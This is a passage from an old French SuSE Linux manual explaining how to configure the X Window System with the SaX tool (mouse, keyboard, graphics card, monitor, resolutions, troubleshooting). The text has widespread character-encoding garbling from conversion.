  15686.  *        |||
  15687.                            |  systΦme' et ensuite `Configurer  XFree86[tm]' (voir paragraphe 3.6                                   *
  15688.  *        |||
  15689.                            |                                                                                                       *
  15690.  *        |||
  15691.                            |  page 100).                                                                                           *
  15692.  *        |||
  15693.                            |_______________________________________________________________________________________________________*
  15694.  *________|||_
  15695.  
  15696.                            Le programme est invoquΘ en ligne de commande par :
  15697.  
  15698.                                  terre:/root  #  sax
  15699.  
  15700.  
  15701. 240
  15702.        _______________________________________________________________________________________8.1.__Configuration_avec_SaX_________*
  15703.  *______________________
  15704.  
  15705.  
  15706.  
  15707. DΦs que le programme est lancΘ, il recherche les cartes PCI enfichables ins-
  15708. tallΘes. Lorsqu'une carte PCI a ΘtΘ dΘtectΘe, elle est identifiΘe et affichΘe dans
  15709. le programme sous `Carte  graphique'
  15710.  
  15711. AprΦs le scan du PCI, la fenΩtre principale apparaεt. Elle contient les fiches
  15712. pour  la  souris  (`Souris'),  le  clavier  (`Clavier'),  la  carte  graphique
  15713. (`Carte  graphique')               ,  le  moniteur  et  l'Θcran  (`╔cran').  SaX  charge  de
  15714. nombreuses informations sur le matΘriel α partir d'une base de donnΘes qui
  15715. vous est fournie. Ces informations vous permettront de sΘlectionner ensuite
  15716. vos propres composants matΘriels. Les donnΘes retrouvΘes lors de la vΘrifi-
  15717. cation du systΦme seront prΘsentΘes sous les options correspondantes, vous
  15718. trouverez, par exemple, le type de votre carte graphique sur la fiche `Carte
  15719. graphique'.
  15720.  
  15721. SaX  tente de reconnaεtre la totalitΘ de votre matΘriel. Mais pour Ωtre s√r que
  15722. la configuration soit complΦte et correcte, vous devez absolument vΘrifier les
  15723. paramΘtrages effectuΘs par SaX  et le cas ΘchΘant les corriger !
  15724.  
  15725. Pour  cela,  le  programme  met  α  votre  disposition  cinq  ``fiches  α  onglets''
  15726. qui  sont  `Souris',  `Clavier',  `Carte  graphique',  `Moniteur'  et
  15727. `╔cran', accessibles par un simple clic sur le titre correspondant (l'onglet
  15728. de la fiche concernΘe).
  15729.  
  15730. Au  cas  o∙  votre  souris  ne  serait  pas  encore  correctement  configurΘe,  vous
  15731. avez la possibilitΘ de piloter le programme au moyen_du clavier. En appuyant
  15732. plusieurs fois sur la touche de tabulation (= |T____a|b), vous pouvez parvenir aux
  15733. diffΘrents champs_d'entrΘe d'une fiche. Pour accΘder aux diffΘrentes fiches,
  15734. appuyez sur |T____a|bjusqu'α ce que le titre sur l'onglet soit entourΘ d'un cadre_    ___
  15735. noir.  Vous  pourrez  alors  choisir  la  fiche  que  vous  dΘsirez  avec | ___|_ou_|____|!._
  15736. Elle  sera  affichΘe  dΦs  que  vous  aurez  validΘ  votre  sΘlection  avec  |_________E|ntrΘe.
  15737. Chaque fiche est dotΘe de plusieurs ΘlΘments de commande tels que boutons
  15738. (angl. buttons), listes dΘroulantes (angl. listboxes) et champs d'entrΘe (angl.
  15739. entry fields) qu'il est Θgalement possible de manipuler entiΦrement α l'aide
  15740. du clavier._Pour accΘder α un bouton, par exemple `Appliquer', appuyez
  15741. sur   T|||_|_abjusqu'α  ce  que  le _bouton__concernΘ  soit__entourΘ_ d'un__cadre_ noir.  ____
  15742. Vous pourrez alors l'activer avec |E_________|spaceou |E_________|ntrΘe(|_____-|). Avec |F____1|0, vous
  15743. arrivez dans la liste des menus sur le bord supΘrieur.
  15744.  
  15745. Pour sΘlectionner une entrΘe dans une liste dΘroulante, appuyez sur la touche
  15746.  Tab   |||||||||__jusqu'α ce que la boεte correspondante soit encadrΘe. Avec |"__|et |#__|vous
  15747.  
  15748. pouvez, par un marquage en couleur,_sΘlectionner_une entrΘe qui deviendra
  15749. active si vous appuyez sur |E_________|ntrΘe.
  15750.  
  15751.  
  15752. La souris
  15753.  
  15754. La fiche `Souris' est la premiΦre α apparaεtre aprΦs le lancement du pro-
  15755. gramme (figure 8.1 page suivante).
  15756.  
  15757. Si vous avez dΘjα configurΘ votre souris au cours d'une premiΦre installation
  15758. de Linux, par exemple lors de la configuration de gpm, les donnΘes alors ob-
  15759. tenues seront utilisΘes par SaX . Vous pourrez ainsi disposer immΘdiatement
  15760. de votre souris sous le systΦme X Window.
  15761.  
  15762. Dans  ce  cas,  vous  pouvez  poursuivre  votre  configuration  en  sautant  cette
  15763. Θtape. Mais si vous n'avez pas encore configurΘ votre souris, vous devez le
  15764.  
  15765.  
  15766.                                                                                                                                    *
  15767.  *   241
  15768. 8.  Le systΦme X Window____________________________________________________________________________________________________________*
  15769.  *_______________________________________@
  15770.  
  15771.  
  15772.  
  15773.                                                     Fig. 8.1: SaX  : Configuration de la souris
  15774.                            faire  dΦs  maintenant.  Appuyez  deux  fois _sur | _____|Tabet_ sΘlectionnez  la  souris
  15775.                            qui  convient  sous _`Constructeur'_ (avec | _"|et | _#|,  vous  pouvez  parcourir
  15776.                            la  liste).  Avec  |_________E|ntrΘe,_ vous  confirmerez  la  sΘlection  du  constructeur  que
  15777.                            vous avez marquΘ. Allez avec |T____a|bdans la liste de sΘlection `ModΦles' et
  15778.                            choisissez le type de souris adΘquat ~ En activant le bouton `Appliquer',
  15779.                            vous pourrez vΘrifier si votre choix a ΘtΘ le bon. Vous devriez ensuite pouvoir
  15780.                            dΘplacer le pointeur de la souris.
  15781.  
  15782.                            Si vous ne connaissez pas exactement le type de votre souris ou si celle-ci
  15783.                            n'est pas mentionnΘe et si, dans le cas d'une souris sΘrie `Microsoft', le
  15784.                            type `Standard  Mouse' ne convient pas, sΘlectionnez le sous-menu `Mode
  15785.                            expert' afin de dΘterminer directement un protocole de souris. Vous pourrez
  15786.                            en outre configurer des options plus avancΘes, telles que par exemple le dΘbit
  15787.                            en  bauds  et  ``l'Θmulation  du  troisiΦme  bouton''.  Le  `Mode  expert'  vous
  15788.                            donne accΦs aux fiches suivantes :
  15789.  
  15790.  
  15791.  
  15792.                            `Pilote' :         Si le nom du constructeur vous est inconnu, vous pouvez ici dΘ-
  15793.                                  terminer directement le `Protocole' de souris. Vous devez aussi choisir
  15794.                                  le fichier de pΘriphΘrique (angl. device). Pour une souris bus, vous devriez
  15795.                                  essayer la variante PS/2 correspondante.
  15796.  
  15797.                            `PropriΘtΘs' :             RΘglage complΘmentaire, vitesse de rΘaction de la souris.
  15798.  
  15799.                            `Options' :          ╔mulation du troisiΦme bouton, etc.
  15800.  
  15801.                            `Test' :        Vous  pouvez  vΘrifier  la  configuration  de  votre  souris  (figure  8.2
  15802.                                  page ci-contre) dans la partie infΘrieure de la souris symbolique, dans le
  15803.                                  cadre `Champ  de  test'. Si la souris est bien rΘglΘe, les symboles des
  15804.                                  boutons  doivent  clignoter  sur  l'Θcran  lorsque  vous  cliquez  les  boutons
  15805.                                  correspondants de votre souris.
  15806.  
  15807.  
  15808. 242
  15809.        _______________________________________________________________________________________8.1.__Configuration_avec_SaX_________*
  15810.  *______________________
  15811.  
  15812.  
  15813.               Fig. 8.2: SaX  : Configuration de la souris en mode expert
  15814. Le clavier
  15815.  
  15816.  
  15817. Le clavier par dΘfaut est un clavier Windows 95/98 allemand         (figure 8.3).
  15818. Si vous possΘdez un autre clavier, vous devez rΘgler ici les paramΦtres nΘces-
  15819. saires car le clavier est l'un des rares composants du matΘriel qui n'est pas
  15820. reconnu automatiquement.
  15821.                                        Fig. 8.3: SaX  : Clavier
  15822.  
  15823.  
  15824. En comparant votre clavier avec l'`Image  du  clavier' affichΘe α l'Θcran,
  15825. vous pourrez aisΘment choisir le modΦle adΘquat sous `ModΦle'. N'oubliez
  15826. pas non plus de sΘlectionner comme `Langue' le `Franτais'. └ c⌠tΘ du
  15827. bouton `Effacer', vous trouverez un champ de test dans lequel vous pourrez
  15828. vΘrifier la disposition des touches en tapant diffΘrents caractΦres ~ n'oubliez
  15829. pas les lettres accentuΘes !
  15830.  
  15831.  
  15832.                                                                                                                                    *
  15833.  *   243
  15834. 8.  Le systΦme X Window____________________________________________________________________________________________________________*
  15835.  *_______________________________________@
  15836.  
  15837.  
  15838.  
  15839.                            Le bouton `RedΘfinir  les  touches  mortes' est utilisΘ afin que tous les
  15840.                            caractΦres  du  clavier,  y  compris  les  caractΦres  spΘciaux,  soient  reprΘsentΘs
  15841.                            sous X par une seule pression de la touche. La configuration en `Mode  ex-
  15842.                            pert' ne vous est probablement pas nΘcessaire : : :
  15843.  
  15844.                            Le bouton `Appliquer' sert α rendre les modifications effectives.
  15845.  
  15846.  
  15847.  
  15848.                            La carte graphique
  15849.  
  15850.  
  15851.                            Sur la fiche `Carte  graphique', vous pouvez sΘlectionner le constructeur
  15852.                            dans la liste de gauche et le modΦle de la carte correspondante dans la liste
  15853.                            de droite (figure 8.4). SaX  tente de reconnaεtre lui-mΩme la carte graphique
  15854.                            ce qui, avec les cartes graphiques PCI, fonctionne en gΘnΘral de faτon trΦs
  15855.                            fiable. L'utilitaire a recours pour cela α une vaste base de donnΘes du matΘriel
  15856.                            graphique courant. Voir le paquetage cdb (angl. Component Data Base). Le
  15857.                            matΘriel dΘtectΘ est mis en Θvidence par un marquage en couleur.
  15858.                                                             Fig. 8.4: SaX  : Carte graphique
  15859.  
  15860.  
  15861.                            Il  se  cache  sous  le  bouton  `Mode  expert'  des  options  avancΘes  de  confi-
  15862.                            guration (figure 8.5 page suivante). Celles-ci entrent en jeu lorsque vous sΘ-
  15863.                            lectionnez directement votre serveur X (`Configuration  du  serveur'),
  15864.                            lorsque vous spΘcifiez la quantitΘ de mΘmoire sur la carte graphique et la va-
  15865.                            leur  de  RAMDAC.  Ou  si  vous  souhaitez  rΘgler  vous-mΩme  un  circuit  spΘ-
  15866.                            cial  de  RAMDAC  ou  d'horloge  (sous  `Chipsets')  pour  votre  carte  gra-
  15867.                            phique. Diminuez la valeur de RAMDAC si la manipulation des fenΩtres pose
  15868.                            quelques problΦmes, par exemple si vous voyez apparaεtre pour un court ins-
  15869.                            tant des fragments de la ligne de titre lorsque vous dΘplacez une fenΩtre.
  15870.                            ________________________________________________________________________________________________________*
  15871.  *________
  15872.                            |  Les cartes ISA ne sont pas reconnues ``automagiquement'', l'utilisateur doit                         *
  15873.  *        |||
  15874.                            |                                                                                                       *
  15875.  *        |||
  15876.                            |  sΘlectionner ``α la main'' le serveur adΘquat.                                                       *
  15877.  *        |||
  15878.                            |_______________________________________________________________________________________________________*
  15879.  *________|||_
  15880.  
  15881.  
  15882. 244
  15883.        _______________________________________________________________________________________8.1.__Configuration_avec_SaX_________*
  15884.  *______________________
  15885.  
  15886.  
  15887.                       Fig. 8.5: SaX  : Carte graphique ~ mode Expert
  15888.  
  15889.  
  15890.  
  15891. Si lors de la sΘlection de votre carte graphique vous lisez le message d'erreur
  15892. "The  SVGA  server  is  not  installed...",  vous  devrez  installer  avec
  15893. YaST  le paquetage spΘcifiΘ dans ce message (voir paragraphe 3.4 page 94).
  15894.  
  15895.  
  15896. Le moniteur
  15897.  
  15898. Le dernier gros obstacle α surmonter avant de parvenir α un serveur X fonc-
  15899. tionnel est la configuration du moniteur utilisΘ. Ici aussi, vous pouvez sΘlec-
  15900. tionner le `Constructeur' du moniteur dans la liste de gauche de la fiche
  15901. `Moniteur'. Par un nouveau clic de la souris, vous pouvez sΘlectionner votre
  15902. propre modΦle dans la liste de droite (`Type'). Si contre toute attente votre
  15903. moniteur ne devait pas figurer dans la liste, vous pouvez, en cliquant sur le
  15904. bouton  `Mode  expert',  indiquer  la  frΘquence  horizontale  et  la  frΘquence
  15905. verticale  spΘcifiques  α  votre  moniteur.  Celles-ci  se  trouvent  habituellement
  15906. dans la documentation qui accompagne votre moniteur.
  15907.  
  15908. Si  vous  ne  possΘdez  aucune  information  sur  votre  moniteur,  SaX  fixera
  15909. par dΘfaut la frΘquence horizontale α 29-61 kHz et la frΘquence verticale α
  15910. 60-70 Hz.       Ces frΘquences sont inoffensives pour la plupart des moniteurs.
  15911.  
  15912. Si au dΘmarrage du serveur X l'image reste sombre ou prΘsente de trΦs forts__
  15913. scintillements, vous devriez arrΩter immΘdiatement le serveur X avec |C______|trl+
  15914.  Alt   |||||||||__+ | _____|7(l!a touche | _____|7es!t celle qui efface le caractΦre situΘ α gauche du
  15915.  
  15916. curseur !). Sinon votre moniteur risque d'Ωtre endommagΘ, voire dΘtruit.
  15917.  
  15918.  
  15919. L'Θcran
  15920.  
  15921. Si vous avez rΘussi α installer votre carte graphique, vous disposez mainte-
  15922. nant d'un grand nombre de rΘsolutions et de profondeurs de couleurs (angl.
  15923. colordepth) qui peuvent Ωtre gΘrΘes dans le menu `╔cran'.
  15924.  
  15925. L'aspect  de  la  fiche  `╔cran'  peut  Θventuellement  faire  penser  α  d'autres
  15926. systΦmes d'exploitation ;-)
  15927.  
  15928. Sur le `bureau', vous pouvez choisir une `rΘsolution' pour chaque pro-
  15929. fondeur de couleurs (`Couleurs').
  15930.  
  15931.  
  15932.                                                                                                                                    *
  15933.  *   245
  15934. 8.  Le systΦme X Window____________________________________________________________________________________________________________*
  15935.  *_______________________________________@
  15936.  
  15937.  
  15938.  
  15939.  
  15940.                                                                    Fig. 8.6: SaX  : ╔cran
  15941.  
  15942.  
  15943.  
  15944.                            Si vous voulez faire Θtablir une liste de plusieurs rΘsolutions pour une pro-
  15945.                            fondeur  de  couleurs  dΘterminΘe,  ceci  est  possible  dans  le  `Mode  expert'
  15946.                            (figure 8.7).
  15947.  
  15948.  
  15949.  
  15950.                                                                    Fig. 8.7: SaX  : ╔cran
  15951.  
  15952.  
  15953.  
  15954.                            `RΘsolution' :             Cette fiche comprend les sections suivantes :
  15955.  
  15956.                                  RΘsolutions `possibles'
  15957.  
  15958.                                  RΘsolutions `actuelles'
  15959.  
  15960.                                  `Couleurs'           , la liste de sΘlection des profondeurs de couleurs
  15961.  
  15962.                                  Sur  la  rangΘe  verticale  de  boutons  qui  se  trouve  sur  le  c⌠tΘ  droit,  vous
  15963.                                  sΘlectionnerez tout d'abord la profondeur de couleurs (`Couleurs') pour
  15964.                                  laquelle les rΘsolutions de l'Θcran doivent Ωtre configurΘes.
  15965.  
  15966.  
  15967. 246
  15968.        _______________________________________________________________________________________8.1.__Configuration_avec_SaX_________*
  15969.  *______________________
  15970.  
  15971.  
  15972.  
  15973.       Le serveur X peut dΘmarrer avec diffΘrentes profondeurs de couleurs. Une
  15974.       valeur de 8  bits      signifie que 256 couleurs peuvent Ωtre affichΘes simul-
  15975.       tanΘment α l'Θcran. Pour la mΩme profondeur de couleurs, il existe aussi
  15976.       diffΘrentes rΘsolutions d'Θcran, par exemple 800x600      . Mais toutes les rΘ-
  15977.       solutions ne sont pas disponibles pour toutes les profondeurs de couleurs.
  15978.       Avec  certaines  cartes,  il  n'est  pas  possible  d'utiliser  une  rΘsolution  de
  15979.       1600x1200          pour  une  valeur  de  32  bits      car  la  plupart  des  cartes  gra-
  15980.       phiques ne possΦdent pas suffisamment de mΘmoire pour cela.
  15981.  
  15982.       Pour  une  profondeur  de  couleurs  de  8  bits    ,  il  existe  dans  la  liste  des
  15983.       rΘsolutions  `actuelles'  diffΘrentes  rΘsolutions  allant  par  exemple  de
  15984.       1600x1200          α  640x480      .  Ces  rΘsolutions  sont  interchangeables  en  cours
  15985.       d'exΘcution dans l'ordre dans lequel elles_figurent_dans_la liste._On utilise_       ____
  15986.       pour_cela la combinaison_de touches_|C______|trl+ |A____l|t+ |+_ |ou |C______|trl+ |A____l|t
  15987.       + |-_ |(les touches |+_ |et |-_ |doivent Ωtre prises dans le pavΘ numΘrique !).
  15988.       La valeur qui figure en tΩte de liste est celle avec laquelle le serveur X est
  15989.       lancΘ.
  15990.  
  15991.       Vous devez faire passer les rΘsolutions que vous souhaitez utiliser de la
  15992.       liste  des  rΘsolutions  `possibles'  α  la  liste  des  rΘsolutions  `actuel-
  15993.       les'. Cliquez pour cela sur la rΘsolution choisie pour la marquer et en-
  15994.       suite sur le bouton `E' pour l'ajouter α la liste des rΘsolutions `actuel-
  15995.       les'.  Avec  `V',  vous  remettrez  les  entrΘes  que  vous  ne  souhaitez  pas
  15996.       conserver α leur emplacement d'origine.
  15997.  
  15998.       L'ordre des entrΘes de la liste `Actuelles' peut Ωtre modifiΘ α l'aide des
  15999.       touches flΘchΘes qui se trouvent tout en bas de la fenΩtre `Actuelles'
  16000.       contenant la liste. Pour cela, on marque l'entrΘe que l'on veut dΘplacer et
  16001.       on clique, avec le bouton droit de la souris, sur la flΦche pointant vers le
  16002.       haut ou la flΦche pointant vers le bas. Ainsi l'entrΘe change de place avec
  16003.       celle qui la prΘcΦde ou avec celle qui lui succΦde.
  16004.  
  16005.       DΦs que vous serez satisfait de votre configuration avec une profondeur de
  16006.       couleurs de 8  bits     , vous pourrez choisir une autre valeur, par exemple
  16007.       16  bits     . Vous verrez alors, dans la liste `Possibles', les rΘsolutions
  16008.       d'Θcran qui peuvent Ωtre choisies pour cette valeur. Celles-ci peuvent Ωtre
  16009.       manipulΘes comme il a ΘtΘ dΘcrit prΘcΘdemment.
  16010.  
  16011. `RΘsolution  virtuelle' :                      Sur  cette  fiche,  vous  pouvez  dΘterminer  les
  16012.       tailles  d'Θcrans  virtuels.  Si  vous  voulez  vraiment  disposer  d'une  zone
  16013.       d'Θcran virtuelle, vous devrez augmenter les valeurs pour `Virtuel  X'
  16014.       (= largeur) ou `Virtuel  Y' (= hauteur) ~ mais en gΘnΘral ceci n'est pas
  16015.       souhaitable !
  16016.  
  16017.       PrΘcisions : Le systΦme X Window vous donne la possibilitΘ de dΘfinir
  16018.       une  taille  d'Θcran  virtuel.  Ceci  permet  de  travailler  sur  un  bureau  plus
  16019.       grand que la partie visible de l'Θcran. Vous pouvez par exemple utiliser
  16020.       une taille d'Θcran virtuel de 1152x864         avec une rΘsolution du moniteur
  16021.       de 800x600       .
  16022.  
  16023. `SpΘciale'            Cette  fiche  vous  permet  de  gΘnΘrer  votre  propre  rΘsolution.
  16024.       Vous  pouvez  en  outre  dΘterminer  ici  la  `qualitΘ'  des  ``modelines'',
  16025.       c'est-α-dire choisir entre deux modes de calcul.
  16026.  
  16027.  
  16028.                                                                                                                                    *
  16029.  *   247
  16030. 8.  Le systΦme X Window____________________________________________________________________________________________________________*
  16031.  *_______________________________________@
  16032.  
  16033.  
  16034.  
  16035.                            Vous  devriez  maintenant  dΘterminer  avec  quelle  profondeur  de  couleurs
  16036.                            par  dΘfaut  le  serveur  X  devra  dΘmarrer.  Vous  devez  pour  cela,  sur  la  fiche
  16037.                            `╔cran',  rendre  actuelle  la  profondeur  de  couleurs  dΘsirΘe  (via  `Cou-
  16038.                            leurs').  Lorsque  ceci  est  fait,  cliquez  sur  le  bouton  `Configurer  le
  16039.                            mode  actuel' pour procΘder α un dΘmarrage d'essai du serveur X : : :
  16040.  
  16041.  
  16042.                            Tester la configuration
  16043.  
  16044.                            AprΦs  un  bref  laps  de  temps,  il  apparaεt  une  boεte  de  messages.  Cliquez  ~
  16045.                            si vous Ωtes d'accord ~ sur `OK'. Vous devriez alors voir apparaεtre l'image
  16046.                            de fond et une fenΩtre divisΘe en deux zones. La partie de gauche contient
  16047.                            quelques informations sur la rΘsolution actuellement utilisΘe et la frΘquence
  16048.                            horizontale ou verticale du mode vidΘo.
  16049.  
  16050.                            La partie de droite contient deux champs de touches, `Taille' et `Posi-
  16051.                            tion' qui permettent un ajustement optimal de l'image. Les touches flΘchΘes
  16052.                            dans le champ `Taille' servent α agrandir et α rΘduire l'image dans le sens
  16053.                            horizontal et dans le sens vertical. Dans le champ `Position', on peut mo-
  16054.                            difier la position relative de l'image sur le moniteur. Ajustez l'image selon
  16055.                            vos dΘsirs !
  16056.  
  16057.                            Un  petit  rectangle  est  situΘ  sur  chacun  des  quatre  coins  de  la  fenΩtre  pour
  16058.                            permettre de contr⌠ler le bon ajustement de l'image. Si l'image est optimale,
  16059.                            ces rectangles sont entiΦrement visibles sans aucune altΘration de couleur.
  16060.                            ________________________________________________________________________________________________________*
  16061.  *________
  16062.                            |  Bien qu'avec SaX  vous puissiez ajuster l'image de faτon prΘcise, cela ne                            *
  16063.  *        ||||
  16064.                            |                                                                                                       *
  16065.  *        |||
  16066.                            |  vous dispense pas d'un ajustement complΘmentaire effectuΘ manuellement                               *
  16067.  *        |||
  16068.                            |  avec les touches du moniteur !                                                                       *
  16069.  *        |||
  16070.                            |_______________________________________________________________________________________________________*
  16071.  *________|||_
  16072.  
  16073.                            AprΦs  avoir  ajustΘ  correctement  l'image,  vous  avez  trois  possibilitΘs  pour
  16074.                            fermer la fenΩtre :
  16075.  
  16076.  
  16077.                            `Sauvegarder  et  quitter' :                      Vous  terminez  la  configuration  de  votre
  16078.                                  systΦme  X  Window  en  enregistrant  vos  donnΘes  de  configuration.  Vous
  16079.                                  retournez ainsi α la ligne de commande.
  16080.  
  16081.                            `Abandonner' :             Vous voulez quitter SaX sans conserver les configurations.
  16082.  
  16083.  
  16084.                            Le cas ΘchΘant, appuyez sur |A_____|lt+ |F___|_1pour revenir sur la premiΦre console.
  16085.  
  16086.  
  16087.                            8.1.2      Reconfiguration
  16088.  
  16089.                            SaX  vous apporte une aide efficace pour mieux adapter un serveur fonction-
  16090.                            nel α vos besoins.
  16091.  
  16092.                            Pour cela, SaX  lit le fichier /etc/XF86Config dΘjα existant dans lequel le
  16093.                            systΦme X Window a stockΘ les donnΘes de configuration et il les analyse. Il
  16094.                            ne vous est donc pas absolument nΘcessaire d'effectuer vous-mΩme toutes les
  16095.                            configurations α commencer par la souris jusqu'au moniteur car SaX  prend
  16096.                            en compte les configurations du serveur X qui fonctionnent dΘjα.  SaX  met
  16097.                            ces donnΘes α disposition sur les fiches dΘcrites plus haut.
  16098.  
  16099.                            L'utilisateur  a  cependant  toute  libertΘ  lors  de  la  nouvelle  configuration  de
  16100.                            son  serveur  X  :  Il  peut  rechercher  son  modΦle  de  moniteur  dans  la  vaste
  16101.  
  16102.  
  16103. 248
  16104.        _______________________________________________________________________________________8.1.__Configuration_avec_SaX_________*
  16105.  *______________________
  16106.  
  16107.  
  16108.  
  16109. base  de  donnΘes  ce  qui  lui  permet  de  mieux  adapter  sa  configuration  aux
  16110. caractΘristiques de son moniteur et il peut en outre ajuster aisΘment l'image.
  16111.  
  16112. SaX  lui offre aussi, pour la gestion des profondeurs de couleurs et des rΘso-
  16113. lutions de la carte graphique, une interface facilement accessible par un clic
  16114. de souris sur l'onglet de la fiche `╔cran'.
  16115.  
  16116.  
  16117.  
  16118. 8.1.3      Cas problΘmatiques
  16119.  
  16120.  
  16121. Nous allons parler ici des problΦmes les plus importants qui se produisent le
  16122. plus frΘquemment lors de la configuration avec SaX  :
  16123.  
  16124.  
  16125.   ~   Si, lorsque vous testez votre configuration, l'image prΘsente de trΦs forts
  16126.       scintillements ou si elle est noire ou dΘchirΘe, vous devez arrΩter immΘdia-
  16127.       tement le serveur_X_car_le moniteur_risque_d'Ωtre_endommagΘ. Appuyez          ____
  16128.       pour cela sur |C______|trl+_|A____l|t+ | ____7|~!Attention, ce n'est pas de |T____a|bqu'il
  16129.       s'agit mais de | ____7|:!la touche servant α effacer le caractΦre situΘ α gauche
  16130.       du curseur !
  16131.  
  16132.       Vous devriez ensuite passer α la fiche `Moniteur' et choisir un moniteur
  16133.       mieux appropriΘ ou entrer manuellement les donnΘes de votre moniteur.
  16134.       Ceci est Θgalement valable dans le cas o∙ l'image commencerait α scin-
  16135.       tiller pendant la procΘdure d'ajustement.
  16136.  
  16137.   ~   Pour les problΦmes particuliΦrement persistants, SaX met α votre disposi-
  16138.       tion deux options en ligne de commande, par exemple :
  16139.  
  16140.  
  16141.       --server  vga16            :  Lors  du  premier  dΘmarrage  de  SaX ,  on  utilise  le
  16142.           serveur VGA16 au lieu de celui appropriΘ α la carte. Le serveur VGA16
  16143.           devrait fonctionner avec presque toutes les cartes VGA. Ce serveur est
  16144.           utilisΘ automatiquement si votre carte graphique n'est pas reconnue ou
  16145.           si vous avez une carte ISA.
  16146.  
  16147.  
  16148. La documentation courante relative α SaX  se trouve dans le rΘpertoire /usr/
  16149. doc/packages/sax. S'il devait se produire quelque chose d'imprΘvu lors du
  16150. dΘmarrage de SaX ou au cours des diffΘrentes Θtapes de la configuration, ceci
  16151. sera Θcrit dans les fichiers /root/ServerLog et /root/StartLog. L'exa-
  16152. men de ces fichiers vous permettra de savoir comment continuer.
  16153.  
  16154.  
  16155.  
  16156. 8.1.4      DΘmarrage du systΦme X Window
  16157.  
  16158.  
  16159. Le  systΦme  X  Window  peut  maintenant  Ωtre  lancΘ  par  tout  utilisateur  avec
  16160. startx . Une interface graphique prΘconfigurΘe pour le gestionnaire de fenΩtres
  16161. fvwm  est  mise  α  la  disposition  de  l'utilisateur  courant.  Il  est  donc  recom-
  16162. mandΘ d'invoquer startx  sous ce compte et non pas sous le compte `root'.
  16163. Les messages d'erreur du serveur X seront redirigΘs vers le fichier ~/.X.err.
  16164. startx       peut Ωtre lancΘ avec certaines options ; on peut par exemple avec
  16165.  
  16166.       tux@terre:  >  startx  --  -bpp  16
  16167.  
  16168. choisir une profondeur de couleurs de 16 bits.
  16169.  
  16170.  
  16171.  
  16172.                                                                                                                                    *
  16173.  *   249
  16174. 8.  Le systΦme X Window____________________________________________________________________________________________________________*
  16175.  *_______________________________________@
  16176.  
  16177.  
  16178.  
  16179.                            8.1.5      Liste de contr⌠le pour l'installation de cartes graphiques
  16180.                            X  fonctionne  mais  l'image  prΘsente  encore  quelques  dΘfauts  ou  bien  vous
  16181.  
  16182.                            dΘsirez tout simplement l'optimiser.
  16183.  
  16184.                              ~   La cause principale de nombreux problΦmes au niveau de la reprΘsenta-
  16185.                                  tion de l'image est le choix d'une frΘquence verticale (vsync     ) trop ΘlevΘe.
  16186.                                  Comme hsync      et DotClock en dΘpendent de faτon linΘaire, c'est ici que
  16187.                                  l'on trouve l'origine de la plupart des problΦmes.
  16188.  
  16189.                                  Une rΘduction de la frΘquence de rafraεchissement α 80 Hz par exemple
  16190.                                  permet  d'obtenir  une  image  pratiquement  stable  qui  est  en  outre  beau-
  16191.                                  coup plus nette qu'une image reprΘsentΘe avec une frΘquence de 160 Hz.
  16192.                                  Avec un taux de de rafraεchissement de 80 Hz, la frΘquence de pixels est
  16193.                                  seulement la moitiΘ de celle obtenue avec 160 Hz.
  16194.  
  16195.                                  Essayez par consΘquent de diminuer la frΘquence verticale maximale. SΘ-
  16196.                                  lectionnez pour cela l'onglet de la fiche `Moniteur' sous SaX  et dΘfi-
  16197.                                  nissez sous `Mode  expert' une frΘquence maximale moins ΘlevΘe. Les
  16198.                                  Θcrans modernes ont une frΘquence tout α fait plaisante situΘe entre 80 et
  16199.                                  90 Hz.
  16200.  
  16201.                              ~   Il  survient  parfois  aussi  des  problΦmes  avec  le  ``curseur  matΘriel''  :  Il
  16202.                                  apparaεt un bloc rectangulaire ou quelque chose qui ressemble α un ``code
  16203.                                  barre'' α la place du curseur de la souris. Voici un remΦde bien ΘprouvΘ :
  16204.                                  insΘrer Option  "sw_cursor"                dans la section  "Device"              .
  16205.  
  16206.                              ~   Instructions pour la configuration et premiΦre aide en cas de problΦmes :
  16207.                                  Les  fichiers  README  ~  classΘs  par  constructeurs  de  chipsets  ~  dans  le
  16208.                                  rΘpertoire /usr/X11R6/lib/X11/doc/, les pages de man relatives aux
  16209.                                  serveurs X et bien entendu la FAQ concernant XFree86 (http://www.
  16210.                                  xfree86.org) ainsi que les pages SuSE     pour les mises α jour :
  16211.  
  16212.                                                    http://www.suse.de/en/support/xsuse/
  16213.  
  16214.                            Dans le tableau suivant les options sont classΘes par ordre de probabilitΘ. Cela
  16215.                            signifie qu'en rΦgle gΘnΘrale on parviendra au but avec la premiΦre option, au
  16216.                            plus tard avec la deuxiΦme. La troisiΦme option reprΘsente le plus souvent la
  16217.                            mΘthode forte ;-)
  16218.  
  16219.                            En fait, toutes les options sont enregistrΘes dans la section Device du fichier
  16220.                            /etc/XF86Config.
  16221.  
  16222.                              ~   Un code barre ou un carrΘ en couleur α la place du curseur souris.
  16223.  
  16224.                                  1.  Option sw_cursor         dans la section Device.
  16225.  
  16226.                                  2.  Option no_imageblt           ou no_bitblt        .
  16227.  
  16228.                                  3.  Option noaccel       .
  16229.  
  16230.                              ~   Image trop Θtroite ou comprimΘe. Les rΘglages du moniteur sont dΘjα
  16231.                                  α la limite.
  16232.  
  16233.                                  1.  Il est probable que la frΘquence de rafraεchissement de l'image ou la
  16234.                                      frΘquence horizontale (hsync     ) soit trop ΘlevΘ, atteignant ainsi la limite
  16235.                                      supportΘe  par  le  moniteur.  Solution  :  rΘduire  la  frΘquence  verticale
  16236.                                      (vsync     ) et/ou la frΘquence horizontale (hsync     ).
  16237.  
  16238.  
  16239. 250
  16240.        ___________________________________________________________________________8.2.__Configuration_avec_xf86config______________*
  16241.  *______________________
  16242.  
  16243.  
  16244.  
  16245.       2.  Modifier  la  position  de  l'image  avec  le  programme  xvidtune .  Il  est
  16246.           possible que le mode utilisΘ ne soit pas vraiment adΘquat.
  16247.       3.  Ajouter  le  paramΦtre  +hsync  +vsync            α  la  modeline  en  essayant  de
  16248.           remplacer +  par - .
  16249.  
  16250.   ~   Lors du dΘplacement de fenΩtres, il reste des bandes ou des rΘsidus de
  16251.       fenΩtres qui ne disparaissent pas aprΦs la fin du dΘplacement. Ils ne
  16252.       sont ΘliminΘs que par un rafraεchissement du bureau.
  16253.  
  16254.       1.  RΘduire le taux de rafraεchissement ou la rΘsolution.
  16255.  
  16256.       2.  Utiliser,  en  fonction  du  chipset,  les  options  correspondantes  des
  16257.           fichiers   README   du   rΘpertoire   /usr/X11R6/lib/X11/doc/.   Par
  16258.           exemple les options fifo_conservative                ou slow_dram        . Attention :
  16259.           Tout ceci dΘpend du chipset de la carte graphique !
  16260.  
  16261.       3.  Option noaccel       , mais Θventuellement no_imageblt           ou no_bitblt
